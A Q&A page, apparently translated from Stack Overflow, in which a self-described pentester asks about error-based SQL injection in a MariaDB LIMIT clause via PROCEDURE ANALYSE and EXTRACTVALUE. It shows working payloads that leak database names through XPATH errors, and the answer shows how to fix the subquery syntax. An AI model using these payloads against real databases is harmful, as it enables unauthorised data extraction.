sql - MariaDB 5.5.65 sql 注入
问题描述
我是 pentester,我正在 MariaDB 5.5.65 服务器上的 limit 子句中测试基于错误的 sql 注入。有一些麻烦。
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171)),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select '123',0x7178627171)),1)' at line 1
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,'123',0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkq123qxbqq'
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,database(),0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkqinformation_schemaqxbqq'
我可以检索数据库()和版本()之类的信息,但不能使用选择。这是 MariaDB 的功能吗?我可以绕过这个还是不可能在 MariaDB 服务器的过程分析中使用选择?
解决方案
如果要使用 select 在表达式中返回标量值,则必须将其放在括号中以使其成为标量子查询:
EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171))
应该:
EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,(select '123'),0x7178627171))
在此示例中,这仍会导致 XPATH 错误,但这与您提出的问题无关。
推荐阅读
- performance - 使 Linq 查询更高效(.Net Core)
- javascript - 发布请求速度和延迟导致实时音频信息丢失
- javascript - Anki Javascript 代码适用于 Mac Desktop 和 AnkiDroid,但不适用于 Anki(Ipad/Iphone 版本)
- python - 在python代码中实现n-gram用于多类文本分类
- python - 模仿 do while 逻辑控制来处理旋转问题
- android - onChildAdded 调用了两次?
- reactjs - react-admin:如果您将 react-admin 嵌入到非 redux 应用程序中,是否需要将 redux 安装到您的应用程序中?
- r - R Web抓取:提交网站登录表单时出错
- actionscript-3 - 我需要一些关于时钟的建议
- python - Sed 保持匹配过去的换行符